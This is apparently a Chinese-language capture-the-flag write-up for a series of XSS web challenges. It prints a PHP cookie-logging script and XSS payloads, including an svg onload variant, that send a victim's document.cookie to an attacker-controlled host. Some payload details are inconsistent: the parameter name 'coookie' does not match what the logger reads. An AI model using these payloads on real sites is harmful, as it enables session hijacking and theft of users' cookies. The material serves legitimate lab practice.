前言:

要做xss,最好是有一个自己的公网服务器,当然也可以选择内网穿透

这里我选择的是phpstudy+花生壳内网穿透

web316

首先打开页面,让我们输入内容

尝试输入

<script>alert('111');</script>

出现alert网页消息,说明存在xss漏洞

首先尝试查看cookie

<script>alert(document.cookie);</script>

结果显示:

PHPSESSID=2jmcsr1d43u48on5b969kqgdg3; flag=you%20are%20not%20admin%20no%20flag

说明我们需要获得cookie并注入,得到真正的flag

首先需要脚本

<?php
$cookie = $_GET['cookie'];
$time = date('Y-m-d h:i:s', time());
$log = fopen("cookie.txt", "a");
fwrite($log,$time.': '. $cookie . "\n");
fclose($log);
?>

这个脚本旨在获取网站中的其他用户cookie,这里就是admin,将其保存在cookie.txt中

我们的xss语句:

<script>location.href="ip/xss.php?coookie="+document.cookie</script>

这样就能在本地的cookie.txt中查看到admin的cookie和flag

web317-326

从317到326,就全是弹cookie,增加过滤

最后得到一个增强版语句

<svg/onload="location.href='xxx/1.php?cookie='-document.cookie"/>

web327